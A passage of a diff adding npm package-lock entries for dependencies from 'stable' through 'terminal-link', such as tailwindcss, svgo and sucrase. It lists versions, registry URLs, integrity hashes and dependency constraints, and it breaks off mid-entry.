"node_modules/stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", + "dev": true, + "license": "MIT" + }, + "node_modules/stack-utils": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "escape-string-regexp": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/stack-utils/node_modules/escape-string-regexp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", + "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/stackframe": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz", + "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw==", + "dev": true, + "license": "MIT" + }, + "node_modules/state-local": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", + "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==", + "license": "MIT" + }, + "node_modules/static-eval": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/static-eval/-/static-eval-2.1.1.tgz", + "integrity": "sha512-MgWpQ/ZjGieSVB3eOJVs4OA2LT/q1vx98KPCTTQPzq/aLr0YUXTsgryTXr4SLfR0ZfUUCiedM9n/ABeDIyy4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "escodegen": "^2.1.0" + } + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/stop-iteration-iterator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz", + "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "internal-slot": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-convert": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/string-convert/-/string-convert-0.2.1.tgz", + "integrity": "sha512-u/1tdPl4yQnPBjnVrmdLo9gtuLvELKsAoRapekWggdiQNvvvum+jYF329d84NAa660KQw7pB2n36KrIKVoXa3A==", + "license": "MIT" + }, + "node_modules/string-length": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz", + "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "char-regex": "^1.0.2", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/string-natural-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/string-natural-compare/-/string-natural-compare-3.0.1.tgz", + "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/string.prototype.includes": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/string.prototype.includes/-/string.prototype.includes-2.0.1.tgz", + "integrity": "sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/string.prototype.matchall": { + "version": "4.0.12", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.12.tgz", + "integrity": "sha512-6CC9uyBL+/48dYizRf7H7VAYCMCNTBeM78x/VTUe9bFEaxBepPJDa1Ow99LqI/1yF7kuy7Q3cQsYMrcjGUcskA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.6", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "regexp.prototype.flags": "^1.5.3", + "set-function-name": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.repeat": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/string.prototype.repeat/-/string.prototype.repeat-1.0.0.tgz", + "integrity": "sha512-0u/TldDbKD8bFCQ/4f5+mNRrXwZ8hg2w7ZR8wa16e8z9XpePWl3eGEcUD0OXpEH/VJH/2G3gjUtR3ZOiBe2S/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.5" + } + }, + "node_modules/string.prototype.trim": { + "version": "1.2.10", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", + "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-data-property": "^1.1.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-object-atoms": "^1.0.0", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimend": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz", + "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/string.prototype.trimstart": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", + "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/stringify-object": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz", + "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "get-own-enumerable-property-symbols": "^3.0.0", + "is-obj": "^1.0.1", + "is-regexp": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-bom": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz", + "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-comments": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz", + "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/style-loader": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.4.tgz", + "integrity": "sha512-0WqXzrsMTyb8yjZJHDqwmnwRJvhALK9LfRtRc6B4UTWe8AijYLZYZ9thuJTZc2VfQWINADW/j+LiJnfy2RoC1w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/stylehacks": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.1.tgz", + "integrity": "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/stylis": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.3.6.tgz", + "integrity": "sha512-yQ3rwFWRfwNUY7H5vpU0wfdkNSnvnJinhF9830Swlaxl03zsOjCfmX0ugac+3LtK0lYSgwL/KXc8oYL3mG4YFQ==", + "license": "MIT" + }, + "node_modules/sucrase": { + "version": "3.35.1", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", + "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "tinyglobby": "^0.2.11", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/sucrase/node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-hyperlinks": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz", + "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/svg-parser": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz", + "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/svgo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz", + "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==", + "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^2.4.1", + "coa": "^2.0.2", + "css-select": "^2.0.0", + "css-select-base-adapter": "^0.1.1", + "css-tree": "1.0.0-alpha.37", + "csso": "^4.0.2", + "js-yaml": "^3.13.1", + "mkdirp": "~0.5.1", + "object.values": "^1.1.0", + "sax": "~1.2.4", + "stable": "^0.1.8", + "unquote": "~1.1.1", + "util.promisify": "~1.0.0" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/svgo/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/svgo/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/svgo/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/svgo/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true, + "license": "MIT" + }, + "node_modules/svgo/node_modules/css-select": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz", + "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^3.2.1", + "domutils": "^1.7.0", + "nth-check": "^1.0.2" + } + }, + "node_modules/svgo/node_modules/css-what": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz", + "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/svgo/node_modules/dom-serializer": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz", + "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "entities": "^2.0.0" + } + }, + "node_modules/svgo/node_modules/domutils": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "node_modules/svgo/node_modules/domutils/node_modules/domelementtype": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/svgo/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/svgo/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/svgo/node_modules/nth-check": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz", + "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "~1.0.0" + } + }, + "node_modules/svgo/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true, + "license": "MIT" + }, + "node_modules/tailwindcss": { + "version": "3.4.19", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", + "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.6.0", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.2", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.21.7", + "lilconfig": "^3.1.3", + "micromatch": "^4.0.8", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.1.1", + "postcss": "^8.4.47", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", + "postcss-nested": "^6.2.0", + "postcss-selector-parser": "^6.1.2", + "resolve": "^1.22.8", + "sucrase": "^3.35.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tailwindcss/node_modules/lilconfig": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz", + "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antonk52" + } + }, + "node_modules/tailwindcss/node_modules/postcss-load-config": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", + "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "lilconfig": "^3.1.1" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "jiti": ">=1.21.0", + "postcss": ">=8.0.9", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + }, + "postcss": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/tailwindcss/node_modules/yaml": { + "version": "2.8.3", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.3.tgz", + "integrity": "sha512-AvbaCLOO2Otw/lW5bmh9d/WEdcDFdQp2Z2ZUH3pX9U2ihyUY0nvLv7J6TrWowklRGPYbB/IuIMfYgxaCPg5Bpg==", + "dev": true, + "license": "ISC", + "optional": true, + "peer": true, + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } + }, + "node_modules/tapable": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.2.tgz", + "integrity": "sha512-1MOpMXuhGzGL5TTCZFItxCc0AARf1EZFQkGqMm7ERKj8+Hgr5oLvJOVFcC+lRmR8hCe2S3jC4T5D7Vg/d7/fhA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/temp-dir": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz", + "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/tempy": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz", + "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-stream": "^2.0.0", + "temp-dir": "^2.0.0", + "type-fest": "^0.16.0", + "unique-string": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/tempy/node_modules/type-fest": { + "version": "0.16.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz", + "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terminal-link": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz", + "integrity": 